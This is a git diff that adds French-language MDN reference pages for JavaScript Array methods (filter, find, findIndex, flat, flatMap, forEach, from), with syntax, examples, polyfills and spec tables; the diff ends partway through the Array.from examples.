+        if (i in this){
+          if (func.call(thisArg, t[i], i, t)){
+            res[c++] = t[i];
+          }
+        }
+      }
+    }
+
+    res.length = c; // shrink down array to proper size
+    return res;
+  };
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES2015', '#sec-array.prototype.filter', 'Array.prototype.filter')}}{{Spec2('ES2015')}} 
{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.filter")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Array.prototype.every()")}}
    • +
  • {{jsxref("Array.prototype.some()")}}
    • +
  • {{jsxref("Array.prototype.reduce()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/find/index.html b/files/fr/web/javascript/reference/global_objects/array/find/index.html new file mode 100644 index 0000000000..c6675f0b1b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/find/index.html @@ -0,0 +1,145 @@ +--- +title: Array.prototype.find() +slug: Web/JavaScript/Reference/Objets_globaux/Array/find +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/find +--- +
{{JSRef}}
+ +

La méthode find() renvoie la valeur du premier élément trouvé dans le tableau qui respecte la condition donnée par la fonction de test passée en argument. Sinon, la valeur {{jsxref("undefined")}} est renvoyée.

+ +
{{EmbedInteractiveExample("pages/js/array-find.html")}}
+ + + +

Voir aussi la méthode {{jsxref("Array.findIndex", "findIndex()")}} qui renvoie l'index de l'élément trouvé et non sa valeur. Si on souhaite repérer la position d'un élément donné dans le tableau, on pourra utiliser {{jsxref("Array.prototype.indexOf()")}}. Si on souhaite déterminer si un tableau contient un élément donné, on pourra utiliser la méthode {{jsxref("Array.prototype.includes()")}}.

+ +

Syntaxe

+ +
arr.find(callback(element[, index[, tableau]])[, thisArg])
+ +

Paramètres

+ +
+
callback
+
Fonction à exécuter sur chaque valeur du tableau, elle prend 3 arguments : +
+
element
+
L'élément actuellement traité dans le tableau.
+
index{{optional_inline}}
+
L'index de l'élément actuellement traité dans le tableau
+
array{{optional_inline}}
+
Le tableau pour lequel la méthode find a été appelée.
+
+
+
thisArg {{optional_inline}}
+
Ce paramètre est optionnel. Objet à utiliser en tant que this lorsque la fonction callback est exécutée.
+
+ +

Valeur de retour

+ +

La valeur du premier élément du tableau qui réussit le test, sinon {{jsxref("undefined")}}.

+ +

Description

+ +

La méthode find exécute la fonction callback une fois pour chaque élément présent dans le tableau jusqu'à ce qu'elle retourne une valeur vraie (qui peut être convertie en true). Si un élément est trouvé, find retourne immédiatement la valeur de l'élément. Autrement, find retourne undefined. La méthode callback est seulement appelée pour les index du tableau pour lesquels on dispose d'une valeur. Elle n'est pas appelée pour les index supprimés ou pour ceux qui n'ont pas de valeur.

+ +

La méthode callback est appelée avec trois arguments : la valeur de l'élément, l'index de l'élément, et l'objet correspondant au tableau traversé.

+ +

Si le paramètre thisArg est fourni à find, il sera utilisé comme le this pour chaque exécution de la fonction callback. S'il n'est pas fourni, alors {{jsxref("undefined")}} sera utilisé.

+ +

find ne modifie pas le tableau à partir duquel elle est appelée.

+ +

L'intervalle des éléments inspectés par find est défini avant la première exécution de callback. Les éléments ajoutés au tableau après l'appel à find ne seront pas inspectés par la fonction callback. Si un élément existant est modifié avant le passage du callback, alors la valeur traitée par le callback sera celle présente lors du passage de find sur son index. Les éléments supprimés ne seront pas traités.

+ +

Exemples

+ +

Trouver un objet dans un tableau grâce à une de ses propriétés

+ +
const inventaire = [
+  {nom: 'pommes', quantité: 2},
+  {nom: 'bananes', quantité: 0},
+  {nom: 'cerises', quantité: 5}
+];
+
+function estCerises(fruit) {
+  return fruit.nom === 'cerises';
+}
+
+console.log(inventaire.find(estCerises));
+// { nom: 'cerises', quantité: 5}
+ +

Utiliser les fonctions fléchées ES6/ES2015

+ +
const inventaire = [
+                     {nom: 'pommes', quantité: 2},
+                     {nom: 'bananes', quantité: 0},
+                     {nom: 'cerises', quantité: 5}
+                   ];
+
+const resultat = inventaire.find( fruit => fruit.nom === 'cerises');
+console.log(resultat);
+// { nom: 'cerises', quantité: 5}
+ +

Trouver un nombre premier dans un tableau

+ +

Dans l'exemple suivant, on cherche un nombre premier parmi les éléments d'un tableau (ou retourne undefined s'il n'y en a pas ).

+ +
function estPremier(element, index, array) {
+    let début = 2;
+    while (début <= Math.sqrt(element)) {
+        if (element % début ++ < 1) return false;
+    }
+    return (element > 1);
+}
+
+console.log( [4, 6, 8, 12].find(estPremier) ); // undefined, rien trouvé
+console.log( [4, 5, 8, 12].find(estPremier) ); // 5
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.find")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.findIndex()")}} – trouver et renvoyer un index
    • +
  • {{jsxref("Array.prototype.includes()")}} – tester si une valeur existe dans le tableau
    • +
  • {{jsxref("Array.prototype.filter()")}} – trouver tous les éléments correspondants
    • +
  • {{jsxref("Array.prototype.every()")}} – tester l'ensemble des éléments d'un tableau
    • +
  • {{jsxref("Array.prototype.some()")}} – tester si au moins un élément du tableau respecte un critère
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/findindex/index.html b/files/fr/web/javascript/reference/global_objects/array/findindex/index.html new file mode 100644 index 0000000000..3d116dfe97 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/findindex/index.html @@ -0,0 +1,179 @@ +--- +title: Array.prototype.findIndex() +slug: Web/JavaScript/Reference/Objets_globaux/Array/findIndex +tags: + - Array + - ECMAScript6 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex +--- +
{{JSRef}}
+ +

La méthode findIndex() renvoie l'indice du premier élément du tableau qui satisfait une condition donnée par une fonction. Si la fonction renvoie faux pour tous les éléments du tableau, le résultat vaut -1.

+ +
{{EmbedInteractiveExample("pages/js/array-findindex.html")}}
+ + + +

Voir également la méthode {{jsxref("Array.find", "find()")}} qui renvoie la valeur (et non l'indice) d'un des éléments trouvés.

+ +

Syntaxe

+ +
arr.findIndex(callback(element[, index[, tableau]])[, thisArg])
+ +

Paramètres

+ +
+
callback
+
Une fonction à exécuter sur chaque valeur du tableau jusqu'à ce que celle-ci renvoie true. Cette fonction prend trois arguments : +
+
élément
+
L'élément du tableau qui doit être traité.
+
indice{{optional_inline}}
+
L'indice de l'élément du tableau en cours de traitement.
+
tableau{{optional_inline}}
+
Le tableau sur lequel a été appelé findIndex.
+
+
+
argumentThis{{optional_inline}}
+
L'objet à utiliser comme contexte this lorsque le callback est exécuté.
+
+ +

Valeur de retour

+ +

Un indice d'un élément du tableau qui réussit le test décrit, -1 sinon.

+ +

Description

+ +

La méthode findIndex exécute la fonction callback une fois pour chaque élément présent dans le tableau (le tableau est parcouru entre les indices 0 et length-1 compris) jusqu'à ce que callback renvoie une valeur vraie.

+ +

S'il existe un tel élément, findIndex renverra immédiatement l'indice de l'élément concerné. Sinon, findIndex renverra -1. À la différence des autres méthodes liées aux tableaux comme some(), callback est également appelée pour les indices du tableau pour lesquels aucun élément n'est défini.

+ +

callback possède trois arguments : la valeur de l'élément, l'indice de l'élément et l'objet Array qui est parcouru

+ +

Si l'argument argumentThis est fourni à la méthode findIndex, il sera utilisé comme « contexte » this pour chaque appel de callback. S'il n'est pas fourni, {{jsxref("undefined")}} sera utilisé.

+ +

findIndex ne modifie pas le tableau sur laquelle elle est appelée. Les éléments qui seront traités par findIndex sont « récoltés » avant le premier appel de callback. Tout élément qui sera ajouté au tableau après l'appel de findIndex ne sera pas utilisé avec callback. Si un élément existant, pas encore visité, est modifié par callback, la valeur qui sera passé au callback pour cet élément modifié sera celle que findIndex utilise lorsqu'elle utilise l'indice de l'élément en question. Les éléments supprimés sont bien parcourus.

+ +

Exemples

+ +

Trouver l'indice d'un nombre premier dans un tableau

+ +

L'exemple qui suit illustre comment trouver l'indice d'un élément qui est un nombre premier dans un tableau (ou qui renvoie -1 s'il n'y a pas de nombre premier).

+ +
function estPremier(élément, index, array) {
+  var début = 2;
+  while (début <= Math.sqrt(élément)) {
+    if (élément % début < 1) {
+      return false;
+    } else {
+      début++;
+    }
+  }
+  return élément > 1;
+}
+
+console.log([4, 6, 8, 12].findIndex(estPremier)); // -1, aucun trouvé
+console.log([4, 6, 7, 12].findIndex(estPremier)); // 2
+ +

Trouver un indice avec une fonction fléchée

+ +

Dans cet exemple, on utilise une fonction fléchée pour trouver l'indice d'un élément :

+ +
const fruits = ["pomme", "banane", "melon", "fraise", "raisin"];
+
+const indice = fruits.findIndex(fruit => fruit === "fraise");
+console.log(indice); // 3
+console.log(fruits[indice]); // fraise
+ +

Prothèse d'émulation (polyfill)

+ +
// https://tc39.github.io/ecma262/#sec-array.prototype.findindex
+if (!Array.prototype.findIndex) {
+  Object.defineProperty(Array.prototype, 'findIndex', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length >>> 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k < len
+      while (k < len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return k.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return k;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return -1.
+      return -1;
+    },
+    configurable: true,
+    writable: true
+  });
+}
+ +

S'il est vraiment nécessaire de prendre en charge les moteurs JavaScript qui ne prennent pas en charge {{jsxref("Object.defineProperty()")}}, mieux vaut ne pas ajouter de prothèse aux méthodes d'Array.prototype car on ne peut pas les rendre non-énumérables.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.findIndex")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.find()")}}
    • +
  • {{jsxref("Array.prototype.indexOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/flat/index.html b/files/fr/web/javascript/reference/global_objects/array/flat/index.html new file mode 100644 index 0000000000..27a0337822 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/flat/index.html @@ -0,0 +1,148 @@ +--- +title: Array.prototype.flat() +slug: Web/JavaScript/Reference/Objets_globaux/Array/flat +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat +--- +
{{JSRef}}
+ +

La méthode flat() permet de créer un nouveau tableau contenant les éléments des sous-tableaux du tableau passé en argument, qui sont concaténés récursivement pour atteindre une profondeur donnée.

+ + + + + +

Syntaxe

+ +
var nouveauTableau = monTableau.flat([profondeur]);
+ +

Paramètres

+ +
+
profondeur {{optional_inline}}
+
Le niveau de profondeur en termes d'imbrication de tableau. Autrement dit, jusqu'à quel niveau d'imbrication un tableau imbriqué doit il être aplati. La valeur par défaut est 1.
+
+ +

Valeur de retour

+ +

Un nouveau tableau qui contient la concaténation des éléments des sous-tableaux du tableau passé en argument.

+ +

Exemples

+ +

Aplatir des tableaux imbriqués

+ +
var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+var arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+var arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]
+
+ +

Aplatir et combler les trous

+ +

La méthode flat() permet également de retirer les « trous » d'un tableau :

+ +
var arr4 = [1, 2, , 4, 5];
+arr4.flat();
+// [1, 2, 4, 5]
+ +

Équivalent

+ +

reduce et concat

+ +
var arr = [1, 2, [3, 4]];
+
+// pour un tableau avec un seul niveau de profondeur
+arr.flat();
+// est équivalent à
+arr.reduce((acc, val) => acc.concat(val), []);
+// [1, 2, 3, 4]
+
+// avec la décomposition et les compositions flechées, on peut écrire :
+const flat = arr => [].concat(...arr);
+
+ +

reduce + concat + isArray + récursivité

+ +
var arr = [1, 2, [3, 4, [5, 6]]];
+
+// Pour gérer plusieurs niveaux, on pourra utiliser
+// une méthode récursive avec reduce et concat
+function flatDeep(arr) {
+   return arr.reduce((acc, val) => acc.concat(Array.isArray(val) ? flatDeep(val) : val), []);
+};
+
+flatDeep(arr);
+// [1, 2, 3, 4, 5, 6]
+
+ +

Utiliser une pile

+ +
var arr = [1, 2, [3, 4]];
+
+// Version non récursive utilisant une pile
+function flatStack(input) {
+  const stack = [...input];
+  const res = [];
+  while (stack.length) {
+    // On sort une valeur de la pile
+    const next = stack.pop();
+    if (Array.isArray(next)) {
+      // On place les éléments qui sont des tableaux dans
+      // la pile sans modifier l'entrée
+      stack.push(...next);
+    } else {
+      res.push(next);
+    }
+  }
+  // On inverse le résultat pour revenir
+  // à l 'ordre de l'entrée
+  return res.reverse();
+}
+
+flatStack(arr);
+// [1, 2, 3, 4]
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
ECMAScript 2019FinaliséProposition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.flat")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.flatMap()")}}
    • +
  • {{jsxref("Array.prototype.map()")}}
    • +
  • {{jsxref("Array.prototype.reduce()")}}
    • +
  • {{jsxref("Array.prototype.concat()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/flatmap/index.html b/files/fr/web/javascript/reference/global_objects/array/flatmap/index.html new file mode 100644 index 0000000000..f69e64607c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/flatmap/index.html @@ -0,0 +1,126 @@ +--- +title: Array.prototype.flatMap() +slug: Web/JavaScript/Reference/Objets_globaux/Array/flatMap +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/flatMap +--- +
{{JSRef}}
+ +

La méthode flatMap() permet d'appliquer une fonction à chaque élément du tableau puis d'aplatir le résultat en un tableau. Cela correspond à l'enchaînement de {{jsxref("Array.prototype.map()")}} suivi de {{jsxref("Array.prototype.flat()")}} de profondeur 1. flatMap est plus efficace que la combinaison de ces deux opérations, souvent réalisées conjointement.

+ + + + + +

Syntaxe

+ +
var new_array = arr.flatMap(function callback(currentValue[, index[, array]]) {
+    // return element for new_array
+}[, thisArg])
+ +

Paramètres

+ +
+
callback
+
La fonction qui produit un élément du nouveau tableau et qui prend trois arguments : +
+
+
currentValue
+
La valeur du tableau qui est traitée.
+
index{{optional_inline}}
+
L'indice de l'élément du tableau qui est traitée.
+
array{{optional_inline}}
+
Le tableau sur lequel flatMap a été appelée.
+
+
+
thisArg{{optional_inline}}
+
La valeur à utiliser comme contexte this lors de l'exécution de callback.
+
+ +

Valeur de retour

+ +

Un nouveau tableau composé d'éléments résultants de la fonction de rappel (callback) et aplati d'un niveau de profondeur.

+ +

Description

+ +

Pour la fonction de rappel, voir {{jsxref("Array.prototype.map()")}}. La méthode flatMap() est identique à un appel de {{jsxref("Array.prototype.map()")}} suivi d'un appel de {{jsxref("Array.prototype.flat()")}} avec la profondeur 1.

+ +

Exemples

+ +

map() et flatMap()

+ +
var arr1 = [1, 2, 3, 4];
+
+arr1.map(x => [x * 2]);
+// [[2], [4], [6], [8]]
+
+arr1.flatMap(x => [x * 2]);
+// [2, 4, 6, 8]
+
+// seul un niveau est aplati
+arr1.flatMap(x => [[x * 2]]);
+// [[2], [4], [6], [8]]
+
+ +

On peut utiliser un autre exemple où on génère une liste de mots à partir d'une liste de phrases :

+ +
let tableau1 = ["Coucou comment", "", "ça va ?"];
+
+tableau1.map(x => x.split(" "));
+// [["Coucou", "comment"], [""], ["ça", "va", "?"]]
+
+tableau1.flatMap(x => x.split(" "));
+// ["Coucou", "comment", "", "ça", "va", "?"]
+
+ +

On notera que la longueur de la liste obtenue avec flatMap est différente de la longueur de la liste originale.

+ +
//=> [1, 2, 3, 4, 5, 6, 7, 8, 9]
+ +

Équivalent

+ +

reduce() et concat()

+ +
var arr = [1, 2, 3, 4];
+
+arr.flatMap(x => [x, x * 2]);
+// est équivalent à
+arr.reduce((acc, x) => acc.concat([x, x * 2]), []);
+// [1, 2, 2, 4, 3, 6, 4, 8]
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
ECMAScript 2019FinaliséProposition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.flatMap")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.flat()")}}
    • +
  • {{jsxref("Array.prototype.map()")}}
    • +
  • {{jsxref("Array.prototype.reduce()")}}
    • +
  • {{jsxref("Array.prototype.concat()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/foreach/index.html b/files/fr/web/javascript/reference/global_objects/array/foreach/index.html new file mode 100644 index 0000000000..d5fe37c438 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/foreach/index.html @@ -0,0 +1,278 @@ +--- +title: Array.prototype.forEach() +slug: Web/JavaScript/Reference/Objets_globaux/Array/forEach +tags: + - Array + - ECMAScript 5 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach +--- +
{{JSRef}}
+ +

La méthode forEach() permet d'exécuter une fonction donnée sur chaque élément du tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-foreach.html")}}
+ + + +

Syntaxe

+ +
arr.forEach(callback);
+arr.forEach(callback, thisArg);
+ +

Paramètres

+ +
+
callback
+
La fonction à utiliser pour chaque élément du tableau. Elle prend en compte trois arguments : +
+
valeurCourante
+
La valeur de l'élément du tableau en cours de traitement.
+
index {{optional_inline}}
+
L'indice de l'élément du tableau en cours de traitement.
+
array {{optional_inline}}
+
Le tableau sur lequel la méthode forEach est appliquée.
+
+
+
thisArg {{optional_inline}}
+
Paramètre optionnel. La valeur à utiliser pour this lors de l'exécution de callback.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Description

+ +

forEach() exécute la fonction callback une fois pour chaque élément du tableau, dans l'ordre croissant des indices. Cette fonction n'est pas appelée pour les indices pour lesquels les éléments ont été supprimés ou qui n'ont pas été définis. Attention, en revanche elle est appelée pour les éléments qui sont présents et qui valent {{jsxref("undefined")}}.

+ +

callback est appelé avec trois arguments :

+ +
    +
  • la valeur de l'élément
    • +
  • l'index de l'élément
    • +
  • le tableau utilisé
    • +
+ +

Si un paramètre thisArg est fourni à la méthode forEach, il sera utilisé en tant que valeur this pour chaque appel de callback. Sinon, ce sera la valeur undefined qui sera utilisée comme valeur this. La valeur this finalement prise en compte par la fonction callback est déterminée selon les règles usuelles pour déterminer la valeur de this utilisée dans une fonction.

+ +

L'ensemble des éléments traités par forEach est défini avant le premier appel à callback. Les éléments ajoutés au tableau après que l'appel à forEach ait commencé ne seront pas visités par callback. Si des éléments déjà présents dans le tableau sont modifiés, leur valeur telle qu'elle est passée au callback sera la valeur au moment du passage du forEach ; les éléments supprimés ne sont pas parcourus. Voir l'exemple ci-après.

+ +

forEach() exécute la fonction callback une fois pour chaque élément. À la différence de {{jsxref("Array.prototype.map()", "map()")}} ou de {{jsxref("Array.prototype.reduce()", "reduce()")}} il renvoie toujours la valeur {{jsxref("undefined")}} et ne peut donc pas être « enchaîné ». Généralement, l'effet voulu est de déclencher des effets de bord en fin de chaîne.

+ +

forEach() ne modifie pas le tableau sur lequel elle est appelée, en revanche, la fonction de retour (callback) utilisée peut modifier le tableau.

+ +
Note : + +

Il n'existe aucun moyen d'arrêter une boucle forEach en dehors de lever une exception. Si vous avez besoin d'arrêter la boucle, étudiez plutôt :

+ +
    +
  • Une boucle for classique
    • +
  • Une boucle for...in ou for...of
    • +
  • {{jsxref("Array.prototype.every()")}}
    • +
  • {{jsxref("Array.prototype.some()")}}
    • +
  • {{jsxref("Array.prototype.find()")}}
    • +
  • {{jsxref("Array.prototype.findIndex()")}}
    • +
+ +

Les autres méthodes associées aux tableaux ({{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}}) utilisent une fonction de texte qui permet de renvoyer une valeur équivalente à true si besoin de poursuivre la boucle.

+
+ +

forEach exécute la fonction callback une fois pour chaque élément ; contrairement à every et some, cette méthode renvoie toujours undefined et ne peut pas être enchaînée.

+ +

Exemples

+ +

Équivalence entre une boucle for et une boucle forEach

+ +

Voici un fragment de code simple qui utilise une boucle for

+ +
var items = ["item1", "item2", "item3"];
+var copie = [];
+
+for (var i = 0; i < items.length; i++) {
+  copie.push(items[i]);
+}
+
+ +

Et voici un fragment de code équivalent qui utilise forEach :

+ +
var items = ["item1", "item2", "item3"]
+var copie = [];
+
+items.forEach(function(item){
+  copie.push(item);
+});
+ +

Afficher le contenu d'un tableau

+ +
+

Note : Pour afficher le contenu d'un tableau, on pourra utiliser console.table() qui met en forme les éléments du tableau. L'exemple suivant est laissé à titre d'illustration pour forEach().

+
+ +

Le code suivant affiche une ligne pour chaque élément du tableau :

+ +
function logArrayElements(element, index, array) {
+    console.log("a[" + index + "] = " + element);
+}
+[2, 5, , 9].forEach(logArrayElements);
+// logs:
+// a[0] = 2
+// a[1] = 5
+// a[3] = 9
+
+
+ +

Utiliser l'argument pour this

+ +

Dans l'exemple qui suit, on met à jour les propriétés d'un objet à partir des éléments d'un tableau :

+ +
function Compteur() {
+  this.somme = 0;
+  this.compte = 0;
+}
+
+Compteur.prototype.ajouter = function(tableau) {
+  tableau.forEach(function(element) {
+    this.somme += element;
+    ++this.compte;
+  },  this);
+  //  ^---- On a ajouté l'argument this ici.
+};
+
+var obj = new Compteur();
+obj.ajouter([2, 5, 9]);
+console.log(obj.compte); // 3
+console.log(obj.somme);  // 16
+
+ +
+

Note : Le paramètre pour this est passé à la méthode forEach(), à chaque appel du callback, celui-ci sera utilisé comme valeur pour this.

+
+ +
+

Note : Si la fonction passée en argument est une fonction fléchée, il n'est pas nécessaire d'ajouter le paramètre this car les fonctions fléchées utilisent le this fourni par le contexte lexical.

+
+ +

Stopper une boucle

+ +

Le code qui suit utilise la méthode {{jsxref("Array.prototype.every")}} pour afficher le contenu d'un tableau et s'arrêter lorsqu'il atteint une valeur supérieure à SEUIL_MAX.

+ +
var SEUIL_MAX = 12;
+var v = [5, 2, 16, 4, 3, 18, 20];
+var res;
+
+res = v.every(function(element, index, array) {
+  console.log('élément :', element);
+  if (element >= SEUIL_MAX) {
+    return false;
+  }
+
+  return true;
+});
+console.log('res:', res);
+// affiche :
+// élément : 5
+// élément : 2
+// élément : 16
+// res : false
+
+res = v.some(function(element, index, array) {
+  console.log('élément:', element);
+  if (element >= SEUIL_MAX) {
+    return true;
+  }
+
+  return false;
+});
+console.log('res:', res);
+// affiche :
+// élément : 5
+// élément : 2
+// élément : 16
+// res: true
+ +

Une fonction de copie d'objet

+ +

Le code qui suit permet de créer une copie d'un objet donné. Il existe différentes façons pour créer une copie d'un objet. L'exemple suivant illustre une de ces façons afin d'expliquer le fonctionnement d'Array.prototype.forEach et d'utiliser les fonctions ECMAScript 5 Object.*.

+ +
function copie(obj) {
+  var copie = Object.create(Object.getPrototypeOf(obj));
+  var propNames = Object.getOwnPropertyNames(obj);
+
+  propNames.forEach(function(nom) {
+    var desc = Object.getOwnPropertyDescriptor(obj, nom);
+    Object.defineProperty(copie, nom, desc);
+  });
+
+  return copie;
+}
+
+var obj1 = { a: 1, b: 2 };
+var obj2 = copie(obj1); // obj2 ressemble désormais à obj1
+ +

Attention aux modifications en cours

+ +

Dans l'exemple qui suit, on utilise un tableau qui contient quatre élément : "un", "deux", "trois", "quatre". Lorsque le parcours du tableau arrive à l'élément "deux", on décale le tableau d'un cran vers les premiers éléments. Aussi, l'élément "quatre" est décalé à la place de "trois" et "trois" est déplacé à la place de "deux". Pour cette raison, lorsque forEach poursuit son parcours, elle saute la valeur "trois". Autrement dit, forEach n'utilise pas une copie du tableau au moment où elle est appelée, elle manipule le tableau directement. On voit aussi dans cet exemple que les éléments non initialisés ne sont pas traités par la fonction de rappel.

+ +
var mots = ["un", "deux", "trois",, "quatre"];
+mots.forEach(function(mot) {
+  console.log(mot);
+  if (mot === "deux") {
+    mots.shift();
+  }
+});
+// un
+// deux
+// quatre
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.forEach")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.filter()")}}
    • +
  • {{jsxref("Array.prototype.find()")}}
    • +
  • {{jsxref("Array.prototype.findIndex()")}}
    • +
  • {{jsxref("Array.prototype.map()")}}
    • +
  • {{jsxref("Array.prototype.every()")}}
    • +
  • {{jsxref("Array.prototype.some()")}}
    • +
  • {{jsxref("Map.prototype.forEach()")}}
    • +
  • {{jsxref("Set.prototype.forEach()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/from/index.html b/files/fr/web/javascript/reference/global_objects/array/from/index.html new file mode 100644 index 0000000000..61e8b828cb --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/from/index.html @@ -0,0 +1,138 @@ +--- +title: Array.from() +slug: Web/JavaScript/Reference/Objets_globaux/Array/from +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/from +--- +
{{JSRef}}
+ +

La méthode Array.from() permet de créer une nouvelle instance d'Array (une copie superficielle) à partir d'un objet itérable ou semblable à un tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-from.html")}}
+ + + +

Syntaxe

+ +
Array.from(arrayLike [, fonctionMap[, thisArg]])
+ +

Paramètres

+ +
+
arrayLike
+
Un objet semblable à un tableau ou bien un objet itérable dont on souhaite créer un tableau, instance d'Array.
+
fonctionMap {{optional_inline}}
+
Argument optionnel, une fonction à appliquer à chacun des éléments du tableau.
+
thisArg {{optional_inline}}
+
Argument optionnel. La valeur à utiliser pour this lors de l'exécution de la fonction fonctionMap.
+
+ +

Valeur de retour

+ +

Une nouvelle instance de {{jsxref("Array")}}.

+ +

Description

+ +

Array.from() permet de créer des instances d'Array à partir :

+ +
    +
  • d'objets semblables à des tableaux (qui disposent d'une propriété length et d'éléments indexés) ou
    • +
  • d'objets itérables (des objets dont on peut avoir les éléments comme {{jsxref("Map")}} et {{jsxref("Set")}}).
    • +
+ +

Array.from() possède un paramètre optionnel fonctionMap, qui permet d'exécuter une fonction {{jsxref("Array.prototype.map", "map")}} sur chacun des éléments du tableau (ou de l'instance de la classe fille) qui est créé. Autrement dit Array.from(obj, mapFn, thisArg) correspond exactement à Array.from(obj).map(mapFn, thisArg), sauf qu'il n'y a pas de tableau intermédiaire de créé. Cet aspect est notamment important pour certaines classes filles, comme les tableaux typés (en effet, un tableau intermédiaire aurait eu ses valeurs tronquées pour qu'elles soient du type approprié).

+ +

La propriété length de la méthode from() est 1.

+ +

Avec ES6, la syntaxe de classe permet d'avoir des sous-classes pour les objets natifs comme pour les objets définis par l'utilisateur. Ainsi, les méthodes statiques de classe comme Array.from() sont héritées par les sous-classes d'Array et créent de nouvelles instances de la sous-classe d'Array.

+ +

Exemples

+ +
// créer une instance d'Array à partir de l'objet arguments qui est semblable à un tableau
+function f() {
+  return Array.from(arguments);
+}
+
+f(1, 2, 3);
+// [1, 2, 3]
+
+
+// Ça fonctionne avec tous les objets itérables...
+// Set
+const s = new Set(["toto", "truc", "truc", "bidule"]);
+Array.from(s);
+// ["toto", "truc", "bidule"]
+
+
+// Map
+const m = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(m);
+// [[1, 2], [2, 4], [4, 8]]
